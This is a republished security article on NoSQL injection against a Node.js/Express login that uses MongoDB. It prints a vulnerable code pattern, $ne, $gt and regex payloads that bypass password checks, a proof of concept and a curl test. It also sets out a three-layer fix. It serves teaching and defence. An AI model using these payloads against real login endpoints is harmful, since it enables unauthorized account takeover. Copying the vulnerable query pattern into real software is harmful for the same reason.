When $gt Becomes a Master Key: Bypassing MongoDB API Logins via NoSQL Injection
By sending a legitimate JSON payload that injects MongoDB operators such as $gt or $ne into the password field, attackers can trick a Node.js‑Express login endpoint into authenticating any user, illustrating how NoSQL injection bypasses authentication and how to detect and mitigate it.
When a login API uses MongoDB on the backend and the frontend forwards the raw JSON request body, the "password correct" check can be completely subverted with a legal JSON structure. NoSQL injection in MongoDB requires no comment symbols or string escaping—simply turning the password string into an object nullifies verification.
Why This Matters
During a bug‑bounty test, a POST /api/v1/login endpoint serving both admin and merchant accounts was found to run on a typical Node.js + MongoDB stack, a classic high‑risk scenario for NoSQL injection.
Vulnerable Code Pattern
// ❌ Dangerous: directly using user input to build a MongoDB query
app.post('/api/v1/login', async (req, res) => {
const { email, password } = req.body;
const user = await db.collection('users').findOne({
email: email, // ← attacker can supply an object
password: password // ← attacker can supply an object
});
if (user) return res.json({ token: generateToken(user) });
return res.status(401).json({ error: 'Invalid credentials' });
});The code looks normal—standard Express routing, standard MongoDB query, no obvious injection point. However, findOne expects a BSON query document, not an SQL string. Supplying { email: "[email protected]", password: { $gt: "" } } is parsed as a valid operator, not an error.
From "Valid Request" to "Authentication Bypass": Data‑flow Hijack
Typical Vulnerable Code
The findOne method accepts a BSON query document. When the payload contains an operator like $gt, MongoDB treats it as a comparison operator.
Attack Payloads: Three Bypass Techniques
Method 1: Empty‑string match ($ne)
{
"email": "[email protected]",
"password": { "$ne": "" }
}This translates to
db.users.findOne({ email: "[email protected]", password: { $ne: "" } }), matching any document where password is not empty—effectively all real users.
Method 2: Always‑true condition ($gt "")
{
"email": "[email protected]",
"password": { "$gt": "" }
}The $gt operator matches every password value greater than an empty string, covering almost every case.
Method 3: Regex blind injection
{
"email": "[email protected]",
"password": { "$regex": "^a.*", "$options": "i" }
}By iteratively adjusting the regular expression, an attacker can guess the password character by character without any response echo.
Attack Data Flow: From HTTP Request to Database Execution
Browser/Attacker
│
│ POST /api/v1/login
│ {"email":"[email protected]","password":{"$ne":""}}
▼
Express middleware
│ req.body → JSON.parse ✅ (fully legal JSON)
▼
MongoDB query construction
│ { email: "[email protected]", password: { $ne: "" } }
▼
MongoDB engine
│ parses $ne as operator, matches all password≠""
▼
Authentication passes → returns JWT tokenEvery step appears normal—no errors, no logs, no warnings—making NoSQL injection especially dangerous because it completes authentication bypass within a perfectly valid API call.
Full PoC: Reproducing the Issue in Node.js + MongoDB
// Environment: Node.js + Express + MongoDB Native Driver
// Vulnerable target code
app.post('/api/v1/login', async (req, res) => {
const { email, password } = req.body;
// ⚠️ Vulnerability: MongoDB receives unchecked input
const user = await users.findOne({ email, password });
if (user) return res.json({ success: true, token: "..." });
return res.status(401).json({ error: "Invalid credentials" });
});
// Attack payload (fully legal JSON)
{
"email": "[email protected]",
"password": { "$ne": "" }
}
// ✅ Returns 200 + token – authentication bypass successfulHow to Verify If You Are Affected
Manual quick test:
# Send NoSQL injection payload with curl
curl -X POST https://your-api.com/api/v1/login \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]","password":{"$ne":""}}'
# 200 or token → vulnerable
# 401 → possibly protectedAutomated scanning suggestions:
Burp Suite Intruder – use $ne and $gt as payloads in the password field.
APIsec / Postman Collection Runner – batch test all authentication endpoints.
Code audit – globally search for findOne, find, or findOneAndUpdate and verify input type checks.
Complete Fix: Three‑Layer Defense Strategy
Layer 1: Input Type Enforcement
// ✅ Correct: enforce type validation + whitelist fields
app.post('/api/v1/login', (req, res, next) => {
const { email, password } = req.body;
if (typeof email !== 'string' || typeof password !== 'string') {
return res.status(400).json({ error: 'Invalid input type' });
}
if (email.length > 255 || password.length < 6 || password.length > 128) {
return res.status(400).json({ error: 'Invalid input length' });
}
next();
});Layer 2: Parameterized Queries (Mongoose Schema Constraints)
// ✅ Mongoose schema with type constraints
const UserSchema = new Schema({
email: { type: String, required: true },
password: { type: String, required: true }
});
app.post('/api/v1/login', async (req, res) => {
const { email, password } = req.body;
const user = await User.findOne({ email: email.toLowerCase().trim() });
if (!user) return res.status(401).json({ error: 'Invalid credentials' });
const valid = await bcrypt.compare(password, user.password);
if (!valid) return res.status(401).json({ error: 'Invalid credentials' });
return res.json({ token: jwt.sign({ id: user._id }, JWT_SECRET) });
});Layer 3: MongoDB Query Whitelist
// ✅ Build a "safe query" function – reject unexpected types
function buildSafeQuery(schema, input) {
const query = {};
for (const [key, value] of Object.entries(input)) {
const fieldType = schema[key]?.type;
if (fieldType === String && typeof value === 'string') {
query[key] = value;
} else if (typeof value === 'object') {
continue; // silently drop objects, arrays, etc.
}
}
return query;
}Wider Attack Surface
User search – query parameter ?q=xxx can lead to unauthorized data reads.
Order lookup – { order_id: user_input } may expose other users' orders.
Pagination – { page: user_input } can cause integer overflow or DoS.
Bulk updates – { $set: user_input } enables mass data tampering.
If the login endpoint uses MongoDB, virtually every read operation (search, order, comment, etc.) should be re‑audited.
Future Trends
Node.js + MongoDB remains a high‑frequency misuse combo because BSON queries lack default type constraints.
WAFs struggle to detect NoSQL injection since the payload is valid JSON.
API‑first architectures amplify risk—each internal API becomes a potential injection entry point.
AI‑generated code often omits NoSQL‑injection safeguards, increasing exposure.
Security teams must add NoSQL injection to mandatory API security testing; static analysis alone is insufficient, requiring manual review and runtime testing.
References
PortSwigger Web Security Academy: NoSQL Injection Lab
https://www.apisec.ai/blog/nosql-injection-api-detection-prevention-guide
https://www.acunetix.com/vulnerabilities/web/authentication-bypass-via-mongodb-operator-injection/
https://book.hacktricks.xyz/pentesting-web/nosql-injection
https://oneuptime.com/blog/post/2026-01-06-nodejs-api-security-owasp-top-10/view
Signed-in readers can open the original source through BestHub's protected redirect.
This article has been distilled and summarized from source material, then republished for learning and reference. If you believe it infringes your rights, please contactand we will review it promptly.
Black & White Path
We are the beacon of the cyber world, a stepping stone on the road to security.
How this landed with the community
Was this worth your time?
0 Comments
Thoughtful readers leave field notes, pushback, and hard-won operational detail here.
